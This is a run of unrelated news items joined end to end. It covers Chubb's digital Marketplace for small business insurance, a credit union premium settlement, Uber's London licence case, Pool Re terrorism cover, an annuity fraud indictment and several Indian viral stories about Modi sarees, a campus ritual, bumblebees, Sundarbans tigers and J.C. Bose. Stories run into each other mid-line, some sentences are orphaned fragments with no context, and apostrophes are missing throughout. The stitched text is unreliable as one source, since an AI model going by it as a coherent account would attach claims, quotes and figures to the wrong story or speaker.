But the small business strategy chiefly relies on traditional agents and brokers, not InsurTechs or direct-to-buyer methods. The key is Chubb Marketplace, a project that is digitizing the agent experience in underwriting and selling small business products while also streamlining the process for small business customers.

Marketplace, which first went live in November 2017, is for accounts with $30 million or less in revenues, although it can handle even bigger accounts depending on coverages soughtand Chubb is regularly increasing this size threshold. In a typical Marketplace case, agents are serving accounts that need multiple coverages; in some others, agents may be looking for minimum premium policies.

In a display of activity that must make InsurTechs envious, on any given business day, 900 to 1,000 Chubb agents log onto Marketplace.

Why?

Because agents can check account-level appetite by filling in the risk type, then providing just two pieces of information: the companys revenues and state. Agents can then get a quote for the small business within five minutes. They can generate a full proposal letter for the customer within 15 seconds after the quote is complete. And agents can obtain the final policy documents within two minutes of the sale.

Thats right. A thousand agents a day. Two questions. Five minutes. Fifteen seconds. Two minutes. Take that InsurTechs!

Renewals are even easier. Chubb uses third-party data to confirm that the exposures are consistent with what they were when the policy was first written, and if thats the case, the insurer automatically issues the renewal policy. The small business owner or the agent doesnt have to do anything.

Some of the coverages currently available for small businesses through Marketplace include Chubbs businessowners policy and workers compensation, auto, umbrella, cyber, property, general liability, management liability and others. New industries and coverages are being added regularly. Manufacturers were added last quarter. Restaurants will be added soon, followed by habitational. Later, the plan calls for adding health and fitness, religious institutions, financial risks and others.

Chubb is even helping its agencies develop their own digital experience for their small business owners. This lets customers go to the agencys website to get a Chubb quote and policy without human intervention if thats how they prefer to buy.

Marketplace shows that while insurers may not be garnering headlines like InsurTechs, they are making progress on the promise of digital. It also challenges those who say insurers cant run traditional and digital operations under the same roof.

Marketplace is an example of a system built not only on what a technology expert thinks but also, and substantially, on input from agents. According to Bennett BC Verniero, Chubbs senior vice president, Business Solution Architecture, listening to agents has been the most important of four guiding principles driving the design and evolution of Marketplace.

The first and foremost [principle] is that the entire systemthe way it looks, the way it feels to an agent, the way they engage with itwas really designed by them and for them, Verniero said during a demonstration of the system. When we are thinking about enhancements or features, we always engage the agents and get their feedback and whether its going to work for them.

Verniero and his designers have also been guided by three other principles:

Incorporate consumer-like features, such as a shopping cart and rewards program.

Bring in information from other systems, such as call centers and records of agency interactions.

Build an architecture that allows for a quick and nimble front end for agents and the ability to make changes quickly.

In a recent interview, Jim Williamson, Chubbs division president, North America Small Commercial, Underwriting, spoke with Wells Medias Andrew Simpson about Chubbs signature small business digital platform, Marketplace, and the carriers digital strategy.

If you think about the challenge that [small business] presents to the independent agent, they have to deliver all that complexity and all that expertise. But they have to do it efficiently because these are small customers who arent paying very much premium for their product, Williamson said. I think theres a tendency to think of small businesses [as] simple and easy, and it is in many ways. But even a small business can have complex risk management needs.

He said Marketplace strikes a balance between giving small businesses all the protection they need while also keeping it simple.

Weve made it really, really simple for them to very quickly configure the right coverage for the right client without including a whole lot of extraneous things that the client doesnt need and doesnt want to pay for, he said. So, its a fine balance. But we made it simple for the agent to deliver it and to do it efficiently and economically.

Chubb sees digital as essential to writing small business profitably.

In many cases, he said, agents believe that they cant make money serving small businesses in their communities. When we made the decision to build this capability, and then certainly when we designed it, the goal we had in mind was to allow our agents to service their small business clients, but to do it profitably. He said the way to do that is to make it faster and easier for them to conduct transactions so that they can then serve the client and do all of that economically.

Its also important for Chubb.

You have to underwrite this business, but you want to do it with analytics and with computer modeling so that you dont have to have an army of people processing these transactions. Theyre just too small.

According to Chubb, Marketplace has reduced the time to place a multiline account, which typically involves two to three lines of insurance, by an estimated 40 percent. Due to placement being at the account level, the more lines on an account, the greater the efficiency. The efficiencies are achieved through the elimination of data re-entry, data prefill from third-party sources and intelligent underwriting question presentation.

In workers compensation, Marketplace has reduced the number of required fields to generate a quote by 60 percent.

About 85 percent of submissions for Chubbs BOP product can now flow straight through without any human intervention on Chubbs part. And that in turn frees up funds for investing in technology, data, agents and products by not having high operating costs per transaction.

So, its absolutely essential if you want to be successful and you want to scale up small business to have this kind of capability.

In another segment of the interview, Williamson discussed how an evolving economy, including an on-demand segment, will lead to new insurance products that can be better delivered digitally.

What I mean by that is, you think about the past, the reason why these big package products got created was because it was more efficient to deliver one big product that met a wide variety of needs than it was to split that into multiple different products that could meet very specific needs, he said.

But, he added, digital makes it possible to sell a $100 insurance product profitably.

It [digital] will allow us to disaggregate coverages to meet unique risk needs digitally that in the past would have just been cost prohibitive, he said. Were really only in the beginning phase, I think, of that as evolution, and a lot more is coming. Chubb is absolutely exploring those opportunities and, where it makes sense, executing against them.

Chubb also dismisses the notion that a carrier must separate its digital side from traditional operations in order to be able to do the digital correctly.

We have absolutely no problem doing both, Williamson said.

More of the interview is available in a related Carrier Management article, Inside Chubbs Agency-Centric Digital Marketplace and Its Digital Strategy

Topics Agencies InsurTech Tech Underwriting Chubb Small BusinessBlack Hills Federal Credit Union in South Dakota and a Wisconsin-based insurance company have agreed to pay $3 million to settle a class-action lawsuit claiming they improperly raised insurance premiums on thousands of loans.

A judge is expected to consider the proposed settlement later this month. The agreement would resolve the eight-year-old lawsuit initially filed by a Rapid City, S.D. couple.

Edward and Kathy Thurman received a home equity loan totaling around $30,000 from the credit union in 1995 and bought a disability insurance plan offered by CUNA Mutual Insurance Society, the Rapid City Journal reported. The couple sued after the credit union and the insurance company failed to properly inform them that their disability insurance premium was increasing.

The suit gained class action status in 2013 when the Thurmans took the matter to the South Dakota Supreme Court. The couple then hired a computer programmer to analyze more than 500,000 copies of the defendants financial documents, resulting in an additional 4,461 loans being added to the suit. Kathy Thurman died in 2016, but the lawsuit continued with her widowed husband, Edward, as the lead plaintiff.

Circuit Judge Robert Mandel approved the settlement on Dec. 21, following a 12-hour mediation session. A hearing for final approval of the settlement is scheduled for later this month.

Around $1.73 million of the $3 million settlement will be split among the customers associated with the 4,461 affected loans. The remainder will cover lawyers fees, plaintiffs costs and a $30,000 plaintiffs incentive award for Edward Thurman.

The settlement prohibits the parties from defaming each other. The terms do not include any admission by the credit union or the insurance company that the plaintiffs claims were valid, or that the credit union or life insurance company violated any laws.

The Black Hills Federal Credit Union and the now renamed CMFG Life Insurance Company sent written statements to the Journal denying any wrongdoing, but agreed it was in the best interests of all parties to settle.

The plaintiffs motion for approval of the settlement said: CMFG would be foolhardy ever to tell a credit union again that it can switch its customers credit disability policy in this same manner.

Copyright 2021 Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.

Topics Lawsuits Carriers Pricing Trends South DakotaThe Global Insurance Accelerator (GIA), headquartered in Des Moines, Iowa, has appointed Nicole Cook as the groups managing director effective May 1. She joined the GIA full time on Feb. 11.

During the GIAs 2019 cohort, Cook will work alongside current Managing Director Brian Hemesath. Her background includes expertise in finance, strategy, sales, technology, and raising capital, though much of her enthusiasm for leading the GIA stems from her most recent role as COO of Speeko, provider of an automated verbal communication and training platform, where she helped lead the startup through a technology accelerator.

Cook began her career in investment banking at BMO Capital Markets before transitioning to startup life where she worked for and advised a number of fintech and technology startups over the last decade, including Dwolla and Speeko. She also has experience as a seed stage investor, serving as managing partner of Five Island Ventures Partnership.

On May 1, Hemesath will step down as managing director to assume a role as the GIAs Entrepreneur-in-Residence (EIR). Cooks hiring and Hemesaths continuing role are part of a comprehensive transition and strategic planning process which promotes continuity for the GIA, the annual 100-day accelerator program, and the GIAs alumni.

Launched in 2015, the Global Insurance Accelerator (GIA) fosters innovation in and for the insurance industry via a mentor-driven, 100-day program.

Topics InsurTech Talent Iowa Human ResourcesChicago-based employee benefits advisory group, United Benefit Advisors (UBA), has added Andres ONeil & Lowe Insurance Agency, headquartered in Bryan, Ohio, as an agency partner.

Founded in 1923, Andres ONeil & Lowe has locations in Bryan, Wauseon and Archbold, Andres ONeil & Lowe specializes in commercial and personal lines insurance. The firm offers customized levels of support that meets their clients needs and budget  from training to complete benefits administration. They support employee recruitment and retention efforts while keeping healthcare costs in check and streamlining the entire benefits process.

From insurance enrollments to Affordable Care Act compliance and everything in between, the Andres ONeil & Lowe team is always ready to offer expertise and a helping hand. Known for being thorough, reliable, and professional in all that they do, they take a holistic, focused approach using situational analysis to assess the needs and risks of a clients plan and then employ the tools and plan design necessary to obtain the desired outcomes.

United Benefit Advisors (UBA) is an independent employee benefits advisory organization with more than 200 offices throughout the United States, Canada, England and Ireland.

Topics OhioMonths after Uber Technologies Inc. won a reprieve in a high-stakes battle over its operations in the U.K. capital, its London license is back in question.

United Cabbies Group, which represents taxi drivers in the capital, brought a legal challenge Wednesday over the June decision by judge Emma Arbuthnot that granted Uber a 15-month probationary license.

That decision was based on wholly unsatisfactory reasoning, the groups lawyer, Robert Griffiths, said in court.

Arbuthnots ruling was also tainted by actual or apparent bias, the group said in its filings for the hearing. Thats because Arbuthnot decided in August, soon after making her original determination, not to hear a further case involving Uber. A newspaper reported her husband worked for a strategy firm that has advised the Qatar Investment Authority, one of Ubers investors, the group said.

The bias claim is extremely tenuous and at the time of the hearing, Arbuthnot didnt know her husband had advised the QIA and wasnt aware of any link between Uber and the QIA, Uber said in its filings for the case. The cab drivers challenge lacks common sense, it said.

Representatives for Uber and UGC didnt immediately comment, and Arbuthnot didnt immediately respond to an email sent to her assistant seeking comment.

The companys London operating license is vital, because the city is one of its most lucrative markets. The companys previous private hire permit lasted five years, and it requested an 18-month extension at the original hearing.

The case wont necessarily lead to Uber losing its London license, even if the taxi drivers win this week. The cabbies are using a legal process known as a judicial review, which is a challenge to the way a decision has been made rather than the rights and wrongs of the conclusion itself. Public bodies that lose judicial review cases can make the same decision again as long as they do so using the right procedures.

The cabbiess case is the latest in a series of London lawsuits that the ride-hailing firm is embroiled in, ranging from a $1.3 billion tax lawsuit to a case over the employment rights of its drivers, which it will take to the Supreme Court after losing its case in December.

Related:

Copyright 2021 Bloomberg.

Topics Personal Auto London Sharing Economy Ridesharing UberLodestar Marine, the London-based managing general underwriter, announced an agreement with Aspen Insurance to provide protection & indemnity insurance (P&I) to the owners and managers of small and specialized ships.

London-based Lodestar provides $50 million of Aspen-backed P&I cover, with an extra $450 million of capacity available via an excess-of-loss policy placed with certain Lloyds of London syndicates and company market security. Lodestar provides claims handling services.

We are delighted to work with Aspen, strengthening their relationship further with our parent company Ryan Specialty Group, commented John Hearn, joint managing director of London-based Lodestar, which is a unit of RSG Underwriting Managers Europe Ltd. (RSGUM), the managing general underwriting division of Ryan Specialty Group, headquartered in London.

We share a like-minded approach to business and similar values towards those with whom we deal. Aspen provides us with a solid platform to expand our P&I offering, he added.

Charles Dymoke, joint managing director of Lodestar, said: In what has been a turbulent time for the fixed premium P&I market, we are pleased to have found a stable partner in Aspen. It is important that we have the support of a company that understands our industry and are committed to developing it further.

Aspen and Lodestar prioritize technical underwriting and focus on loss prevention services to help customers manage their risk exposures effectively, said Jorge Pecci, RSG Marine Practice leader.

Source: Lodestar Marine

Topics London Insurance Wholesale Human ResourcesPrathap C. Reddy and his family, founders of Indias Apollo Hospitals Enterprise Ltd., plan to sell their holdings in an insurance venture with Munich Re AG to repay debt, people with knowledge of the matter said.

The family is seeking to sell its entire holding of 41 percent in Apollo Munich Health Insurance Co., for about 12 billion rupees ($170 million) in six months, the people said asking not to be identified as the discussions are private. The proceeds will be used to repay part of the debt raised by pledging Apollo Hospitals equity as collateral, the people said.

Investors have been concerned about leveraged companies including Subhash Chandras Essel Group and Anil Ambani-controlled firms that have borrowed by offering shares as collateral leaving them vulnerable to margin calls as stocks plummet. Shares of Apollo, Indias biggest hospital chain operator, which has about 34.3 billion rupees of debt, plunged the most in seven years on Monday after the founders pledged more shares to raise funds to repay debt.

We are aware of the recent increase in our pledge levels, Apollos Managing Director Suneeta Reddy said in a text message when asked about the asset sale plan. We have clear plans to reduce the same by at least 50 percent over the next six months. She didnt comment about the plan to sell stake in the insurance venture.

More than three-fourth of about 34 percent stake that the Reddy family holds in the hospital operator is kept as collateral for loans, the people said. Four companies including two private equity funds have shown interest in acquiring the familys holdings in the venture with the worlds largest reinsurer, one of the people said, declining to disclose further details.

Munich Re is also planning to sell its stake in the venture, the Economic Times reported in November. The German company is in talks with HDFC Ergo General Insurance Co., according to the report.

Lenders dumped shares of Anil Ambani companies after the value of the collateral plummeted following a selloff that wiped 126 billion rupees off the groups market value this month. Media tycoon Chandras Essel Group signed a pact with its lenders that protects the groups borrowings against shares from being counted as default until Sept. 30, even if their value erode.

Apollo Munich Healths gross written premiums, or the revenue from insurance contracts, jumped by a third to 17.2 billion rupees in the year ended March 2018. Apollo Hospitals owns about 10 percent of the venture.

Copyright 2021 Bloomberg.

Topics Mergers CarriersUKs Pool Re now is able to cover losses incurred if a business cannot trade or is prevented from accessing its premises in the wake of a terrorist attack.

Before a change in the law, Pool Re, a public-private partnership that provides a reinsurance backstop for losses resulting from acts of terrorism, could only provide coverage for property damage.

The gap in insurance coverage was highlighted in the 2017 attacks on Manchester and London Bridge, where small and medium-sized businesses were shown to be particularly vulnerable with several caught behind police cordons or experiencing a reduction in footfall following the events, explained Pool Re in a statement.

These businesses suffered significant, and in some cases crippling, business interruption losses for which they could not be compensated, either because they had not purchased terrorism insurance, or because the cover excluded business interruption if their premises had not been damaged.

In order for Pool Re to expand its coverage remit, the government had to amend the 1993 Reinsurance (Acts of Terrorism) Act, which originally created the reinsurer in the wake of the Irish Republican Armys bombing campaign on the UK mainland. The campaign had targeted high-value infrastructure and prioritized economic disruption. The amendment to the originating legislation was contained in the Counter-Terrorism and Border Security Bill 2018, which was passed by the UK Parliament on Feb. 12.

Todays terrorist threat to the UK is very different than in 1993, with attacks across the UK and Europe since 2014 being more frequent and often less sophisticated, explained Pool Re. Although terrorists have targeted people indiscriminately, attacks have not necessarily resulted in physical damage to premises, which created a problem because most terrorism pools around the world were set up to primarily deal with property damage, added the reinsurer.

We have worked very closely with the government, and with the industry since it opted to mutualize the non-damage risk in 2017, said Pool Res Chief Executive Julian Enoizi. Perhaps more importantly, we are already collaborating with business federations, local authorities, brokers and our member insurers, all of whom need to have open conversations with their customers about just how much may depend on having this cover if the worst should happen.

We will not allow terrorists to change our way of life. So when businesses raised their concerns about a gap in insurance cover following a terror attack, we worked with Pool Re to come up with a solution, said Member of Parliament John Glen, who is Economic Secretary to the Treasury.

The law has been changed to give businesses peace of mind, helping them to insure themselves against financial loss as a result of a terrorist attack, even if there is no physical damage to their property, Glen added. This means businesses will be able take out new and comprehensive policies to protect them in the future.

This amendment is a real turning-point for our industrys ability to deliver the comprehensive protection businesses have been waiting for, but theyve got to make the jump and buy the policy, and we have worked hard to make the new cover as accessible and affordable as possible, said Pool Res Chief Underwriting Officer Steve Coates.

I would encourage any business owner to speak to their insurer or broker about what their current policy includes, and ensure it is extended to deal with terrorist threats, he continued.

The amendment makes the UKs terrorism reinsurance pool the first in the world to extend its cover to include non-damage business interruption losses.

Our priority has been to keep this as far as possible a private market solution and so it will be reinsured by us via a new program, said Enoizi. As we continue to identify and understand the protection gaps which emerge and bridge them through this unique public-private solution, we are focussing on helping the industry to grow by ensuring it becomes more comfortable with the exposure and thus reclaims more and more terrorism risk as we have seen recently with growing retentions and being able to cease contingency cover altogether.

Pool Res Evolution

Pool Re said it has paid hundreds of millions in claims over its 25-year history at no cost to the taxpayer. Pool Re has evolved during the course of its history. Since April 2018, Pool Re has extended its cover to include material damage and direct business interruption caused by acts of terrorism using a cyber trigger. On March 22, 2018, the government announced its commitment to amend the 1993 Reinsurance (Acts of Terrorism) Act to enable Pool Re to extend its cover to include non-damage business interruption losses, thereby closing a protection gap that had emerged. That was amended this week.

Source: Pool Re

Related:

Topics Catastrophe Natural Disasters Reinsurance Business InterruptionAscot and Beazley announced the launch of a Lloyds-based cargo consortium, which uses insurtech solutions to help manage risk and claims performance.

Led by Ascot and Beazley, the consortium brings together a range of cargo carriers that will provide a maximum of $50 million capacity. It is aimed at the cargo business of small-and-medium-sized enterprises (SMEs), which has traditionally faced high associated expenses due to the nature of the subscription market.

This launch will allow brokers to provide their clients with quality underwriting and claims management in a cost-efficient way, further cementing the competitive position Lloyds holds in the global cargo market, said Ascot and Beazley in a statement.

Insureds will have the option of using electronic cargo monitoring devices developed by Denver-based insurtech firm Parsyl. The devices monitor cargo accumulation and collect data, which can assist in risk management and claims. The use of these devices will help both the consortium carriers and provide data feeds to insureds.

Denver, Colo.-based Parsyl is a graduate of the Lloyds Lab program, which is designed to help embed technology start-ups in an insurance environment.

This consortium shows how syndicates can come together in a subscription market to provide coverage in a cost-efficient way for smaller premium business, commented Andrew Brooks, group CEO of Ascot Group, the Bermuda-based specialist re/insurer. Recent years have been difficult overall for the cargo market, but this initiative will be transformative for insureds, their brokers and Lloyds carriers.

Tim Turner, group head of Marine at Beazley, said: The London insurance markets origins are in marine and over the years it has adapted to the changing needs of the sector. This new consortium shows how the London market can come together to combine underwriting expertise and cutting-edge technology for the benefit of our customers.

This is precisely what the Lloyds Lab has been set up to do, said Trevor Maynard, head of Innovation, Lloyds. Im thrilled to see our syndicates utilizing the lab to generate new ideas and deliver the next generation of insurance products and services for the benefit of our customers.

About Ascot Group and Beazley

Owned by Canada Pension Plan Investment Board (CPPIB), Ascot Group comprises Ascot Underwriting, the managing agent for Syndicate 1414 at Lloyds; Ascot Reinsurance Co., a Bermuda-based specialty reinsurer; Ascot Insurance U.S., an admitted and surplus lines business; and Ethos Specialty Insurance Services, a New York-based managing general underwriter (MGU).

London-based Beazley plc is the parent company of specialist insurance businesses with operations in Europe, the U.S., Canada, Latin America and Asia. Beazley manages six Lloyds syndicates.

Source: Ascot Group and Beazley plc

Topics Excess Surplus InsurTech Tech London Lloyd's TruckingPugh said she spends long hours holding meetings during conferences and finds ideas to help improve the city. The mayor said that at last years Conference of Mayors meeting she learned the importance of Opportunity Zones, special tax areas created by the recent federal tax reform and designed to attract investment to struggling communities, and instructed her staff to focus on making the most of the zones.A New Jersey woman has been charged with insurance fraud and other offenses in an alleged scheme to steal more than $175,000 from the insurance annuity policies of two individuals.

Vashanta Stroud-Bennett, 45, of Paterson, N.J., was charged with second degree insurance fraud, second degree theft by deception, second degree impersonation, third degree impersonation and third degree attempted theft by deception. The charges were contained in an indictment handed up by a State Grand Jury in Trenton, N.J., on February 4.

According to the indictment, on or between July 23 and August 1 of 2017, Stroud-Bennett obtained personal identifying information pertaining to two individuals and assumed their identities in an attempt to obtain money from their insurance annuity policies.

In the first case, Stroud-Bennett allegedly impersonated policy owner P.C in two withdrawal requests submitted to Voya Insurance and Annuity Company, also known as Voya Financial.

The first request sought partial distribution of $78,900 from P.C.s annuity policy. The second request sought a partial distribution of $93,400 from the same policy.

Stroud-Bennett also allegedly impersonated P.C. in an email to Voya Financial and in a conversation with a company representative in connection with the distribution requests. Stroud-Bennett obtained more than $75,000 from the account, according to the indictment.

In the second case, Stroud-Bennett allegedly impersonated policy owner L.C. in a withdrawal request submitted to Allianz Life Insurance Company of North America. The request sought a partial withdrawal of $22,000 from L.C.s annuity policy.

She also allegedly impersonated L.C. in a phone conversation with an Allianz representative in connection with the withdrawal request.

The charges are merely accusations, and the defendant is presumed innocent until proven guilty.

Second degree charges in New Jersey carry a sentence of five-to-10 years in state prison and a fine of up to $150,000. Third degree crimes carry a sentence of three-to-five years in state prison and a criminal fine of up to $15,000.

Deputy Attorney General Jennifer Menjivar presented the case to the grand jury. Detectives James Mahady and Justin Callahan coordinated the investigation.

Source: New Jersey Office of the Attorney General

Topics Abuse Molestation New JerseyThe past six weeks have been much drier than normal, and the risk of fire is now extreme, FENZ Metro Area Commander Dave Stackhouse told the publication. Our focus is on protecting life and property and with no significant rain forecast for the city, we have made the decision to move to a prohibited fire season.

Meanwhile, a restricted fire season remains in place for the Selwyn, Waimakariri and Hurunui districts. FENZ could enact a complete fire ban in these three districts if the fire risk doesnt ease.

Newshub reported residents are still allowed to use some types of fire provided they have a water source close in the case of an emergency. It noted people should be cautious when using machinery or equipment that could spark.Real-time social media posts from local businesses and organizations across Northern Virginia, powered by Friends2Follow. To add your business to the stream, email cfields@insidenova.com or click on the green button below.The Latest from Barchart

Sign up to receive your Watchlist or Portfolio sent to you by email up to 4 times a day; available at market open, mid-day, market close or end-of-day. Premier Members can also receive the results of custom Screeners - alerting to price or trend changes during and after each trading day. Sign up for a risk-free 30-day Barchart Premier trial.Its taking the style of social impact investing at Kapor and my work at NAACP and trying to change the status quo, Jealous said of the new firm. He said news of partners in 20X would be forthcoming.Frutarom gets organic certification for annatto colour

With consumer demand for fair trade, sustainable and organic products growing fast, Frutarom Natural Solutions, a division of IFF, has received organic certification for its natural annatto colour.

With consumer demand for fair trade, sustainable and organic products growing fast, Frutarom Natural Solutions, a division of IFF, has received organic certification for its natural annatto colour. The ingredient was granted organic certifications from both the U.S. Department of Agriculture and The European Organic Certifiers Council. Annatto seeds and extracts have been used for more than a century in Europe and North America to provide a yellow to reddish colour to foods and beverages, thus becoming the second most economically important natural colorant worldwide.

To support the certification, Frutarom registered and trained more than 50 annatto seed farmers in the Quillabamba Valley in Cuzco, Peru and in Codo del Pozuzo in Puerto Inca, Peru. The division also meets all organic regulations while ensuring fair salaries to the growers. Frutarom says it maintains full traceability on the growing and harvesting processes to provide a pure, organic annatto colour.

Organic colours are an integral part of the established clean label trend, meaning that the colours support our customers efforts to satisfy consumer needs, saidYoni Glickman, President, Natural Product Solutions of IFF Frutarom Organic certification has become the standard of the industry, especially as it involves all aspects of growing, harvesting, extracting, and maintaining full traceability of the ingredient, from seed to final product.

Frutarom has carefully selected agricultural land free of prohibited chemical inputs for its Natural Solutions Products business. The farmers it works with use non-GMO seeds, and do not use synthetic fertilizers, antibiotics, pesticides, or hormones. It is all about caring and staying loyal to consumers expectations for better-for-you products that are also eco-friendly and help us to protect the environment, said Ilanit Bar-Zeev, VP, Natural Product Solutions of IFF Frutarom.The man who fatally beat Pakistan American taxi driver Masood Imran, seen here with his family, to death has been sentenced to 30 years in prison. (Union County Prosecutor's Office photo)A bus carrying immigrants from 13 countries with temporary protection status touring the country to ask Congress to pass legislation that would grant them permanent residency arrives on Oct. 8, 2018 at City Hall in New York City. The Trump administration has announced it will not renew TPS for countries such as Nepal, Honduras, Haiti, El Salvador, Nicaragua, and South Sudan. (Laura Bonilla Cal/AFP/Getty Images)After wedding cards with pro-Modi slogans and people getting married because of his tweets, it's time for 'Modi'-fied fashion.

You can now wear a saree with Prime Minister Narendra Modi's face printed on it. The sarees are quite popular in Gujarat which is his native state and have been selling like hotcakes.

Check out the latest craze in Surat Textile Market - Modi Sarees ! pic.twitter.com/VW4svcu4J5  Prafulla Sharma (@prafulla_sharma) February 13, 2019

"It is a different kind of saree which has been launched recently. It is very popular among women. Right now, we have at least four types of sarees with PM Modi's pictures on them," one of the shopkeepers, Ronak Shah told TOI.

Twitter/TOI

"We might get sarees with faces of other politicians also soon," he added.

Recently, a Modi supporter in Hyderabad used his sons wedding invitation to campaign for PM Modis Lok Sabha election. Wanting Modi back in power, he asked people to vote for PM Modi instead of getting gifts for the couple.

TOI

Earlier at the time of Diwali, a jewellery shop in Surat sold gold and silver bars with PM Modis face on them. Similarly, during rakhi, t-shirts, and mugs were sold with the PM's face on them.Every year on February 14, Hindu College boys hostel students worship a Bollywood female actor (which changes every year) addressing her as Damdami Mai (goddess). Her poster is fixed on the Virgin Tree (V-shaped tree ) decorated with condoms.

But this year round, students from various DU colleges are protesting the practice and slamming it for being a misogynistic, sexist legacy.

The ritual is believed to bring good luck, with the students participating in it falling in love within the next six months and losing their virginity in the next one year.

ALSO READ: All Insects Will Be Extinct Within 100 Years, Due To Heavy Use Of Pesticide & Human Activity

According to a Hindustan Times report, students are planning to hold a public discussion to find possibilities to make the event more gender inclusive.

We will be holding a public meeting where students and teachers are invited to express their views on the V-tree Puja, said the HT quoted Yogita, a member of the progressive front as saying.

The V-Tree puja itself is ridden in a Brahmanical and casteist notion of prayer and reward- pray to the Virgin tree to lose your virginity. This mock ritual actually ends up finding itself enacting the figure of male priest ordained by Gods to perform the ceremony. pic.twitter.com/vtmVB83obV  Pinjra Tod (@PinjraTod) February 12, 2019

"The truth is that it is commemorated to spread awareness about the sexually transmitted disease, HIV and sex education among the students," Mirror Now quoted Ankita Biswas, a student of Hindu college as saying.

"A discussion organised inside Hindu College today by women students seeking to put an end to this patriarchal ritual ended with the dissenting voices of women students once again being drowned out to screams of 'bharat mata ki jai', 'puja hogi' and 'vande mataram' by male students adamant on holding their beloved puja, making amply clear the close connections between the adamant proponents of this 'tradition' and growing Hindutva forces on campus," reads the Facebook event post of Pinjra Tod, an autonomous women's collective of DU.

Many who are against this tradition say that the V Tree puja signifies nothing but male desperation, aggression and disrespects towards women. However, organizers claim that there is nothing sexist behind the ritual and all the hullabaloo is politicizing something that's done just for fun.

ALSO READ : Kolkata Boy's Post On A Postgraduate Guy Delivering Food Shows The Ugly Face Of UnemploymentSeeing cow sitting bang in the middle of a bustling road is not something new India. Vehicles swerve past them and people hardly pay any attention to them.

Reuters

But in Chennai, things panned out slightly differently when a pregnant cow got stranded in the middle of a busy road. Reports state that the cow was groaning in pain in Mylapores Luz George Road.

ALSO READ: Unmoved By Womens Safety Issues, Govt Allocates Rs 750 Crore For Setting Up National Cow Commission

According to Mirror Now, police sub-inspector and the constable on patrol duty that night saw this cow and diverted the traffic to the other side of the road.

As soon as they moved the cow, the cops along with locals sent it to Blue Cross charity so that she could be tended to.

Reuters

When the owner of the cow arrived at the location almost an hour later, police scolded him for his apathy. Locals were so mad that were ready to thrash him for leaving the cow unattended.

Chennai city police commissioner AK Viswanathan congratulated and rewarded the sub-inspector and the constable for rescuing the animal.

ALSO READ: After BJPs Gokul Commission, Cong In MP Announces Monetary Help For Shrines Sheltering CowsYou may say, 'hey it's just a bumble bee', but it's disappearance from the face of Earth could mean a complete collapse of the ecosystem.

That's right, thanks to all the ruckus that humans have created with years of intensive farming and habitat encroachment, the rusty-patched bumble bee has now been added to the endangered list.

According to a new study, the planet is at the start of sixth mass extinction in its history and it's scary, and it's the human overpopulation and overconsumption to be blamed for the crisis.

The US Fish and Wildlife Service listed the rusty-patched bumblebee as endangered under the Endangered Species Act.

ALSO READ: Endangered Indian Humpback Dolphins Spotted Near Bandra-Worli Sea Link For The Second Time

Scientists have blamed the decline of bees in recent years on climate change, loss of habitat, virus-carrying bee mites, and poisoning from common pesticides. Some say that the rusty-patched bumblebee is thought to have declined by a disease outbreak, but scientist still cannot pinpoint the exact reason.

Climate changes that may harm bumblebees include increased temperature, precipitation extremes and increased drought.

The only ways to save the remaining few is by buying plant bee-friendly flowers, minimizing the use of pesticides and buying honey locally.

ALSO READ: How India Is Losing Endangered Species Of Owl To Black Magic Rituals During DiwaliSpanning more than 10,000 square kilometres, Sunderbans is one of the most iconic and last coastal homes of the Royal Bengal Tigers. It is also the worlds biggest mangrove forest. But, scientists apprehend that Sunderbans could be destroyed because of climate change and rising sea levels over the next 50 years (2070).

"Fewer than 4,000 Bengal tigers are alive today," said Bill Laurance, a professor at the James Cook University in Australia.

"That's a really low number for the world's biggest cat, which used to be far more abundant but today is mainly confined to small areas of India and Bangladesh," Laurance added.

Instagram/Anish Biswas

"What is most terrifying is that our analyses suggest tiger habitats in the Sundarbans will vanish entirely by 2070," said Sharif Mukul, an assistant professor at Independent University, Bangladesh.

If the Sundarbans vanish, by 2070 the Royal Bengal Tigers Might die out too. The researchers used computer simulations to assess the future suitability of Sunderbans. Through their analysis, it was revealed that the factors that might lead to this are extreme weather and rising sea-levels.

Instagram

"Beyond climate change, the Sundarbans are under growing pressure from industrial developments, new roads, and greater poaching," said Laurance.

"So, tigers are getting a double whammy - greater human encroachment on the one hand and a worsening climate and associated sea-level rises on the other," he said.

However, the researchers emphasise that there is still hope. "The more of the Sundarbans that can be conserved - via new protected areas and reducing illegal poaching - the more resilient it will be to future climatic extremes and rising sea levels," said Laurance.

"There is no other place like the Sundarbans left on Earth. We have to look after this iconic ecosystem if we want amazing animals like the Bengal tiger to have a chance of survival," he said.The Bank of England in the UK will be releasing a new 50 note soon, and it's been sifting through nominations for a while now.

So it's quite heartening to, on World Radio Day, see that one of those nominations is an Indian, and the lesser-known father of Radio.

Image for representationl purposes only - Indiatimes

The Bank of England announced last year that, on it's new 50 note, it would be putting the visage of a late eminent scientist alongside the Queen. They threw open the nominations to the public, asking for scientists in any field that had greatly contributed to Britain and the world. From 2,27,299 nominations, they finally narrowed down the list to 989. And one of those is none other than Sir Jagdish Chandra Bose.

Also Read: Sir Jagdish Chandra Bose Is The Unsung Hero Of The Tech Behind Modern Day Wi-FI

For decades, it was considered fact that Italian inventor Guglielmo Marconi was the father of the modern radio. Indeed, he successfully demonstrated transatlantic radio communications for the first time back 1901. However, it later emerged that he'd met with Bose back in 1896, who was the first to demonstrate radio communication with millimetre wavelengths, between 30GHz to 300GHz.

The thing is, Bose was not interested in pursuing his development commercially, instead inviting other scientists to build upon his findings. Marconi himself, in later writings, lauded Bose for both his scientific achievements and his selflessness in distributing his acquired knowledge.

And Bose's research was critical to many later technological advancements. It's because of his that we have smartphones, WiFi, collision warning systems in cars, even radio telescopes. And, more immediately, his millimetre-wave experiments are why we're as far along developing 5G as we are now.

To their credit, the Bank of England says it's not picking a scientist for the new note depending on their popularity, but on the strength of their legacy. They want to pick someone that made great contributions to the community at large. Additionally, they say they're also considering past faces on their notes, in order to try and reflect their country's diversity in their currency.

Being both of Indian descent (of whom there are a significant number in the UK), and freaking awesome, Sir JC Bose might have a pretty good chance at making it to the new 50 note. And if that happens, there are going to be some ecstatic Indians around the world.The Telugu Desam Party (TDP) received a rude shock this week when one of its members, district president R Srinivasa Reddy, was banned from WhatsApp.

This is on top of another recent party member ban, that of Rajya Sabha MP CM Ramesh.

"There is something fishy going on, especially because it is only happening to TDP leaders," Reddy told TOI. "I suspect that BJP in collusion with YSR Congress has been targeting leaders of the Kadapa district one after the other by resorting to such acts of prominent leaders right before the elections."

Also Read: Indian Govt Wants To Spy On Your WhatsApp & Social Media, By Trying To Tweak The IT Act Of 2000

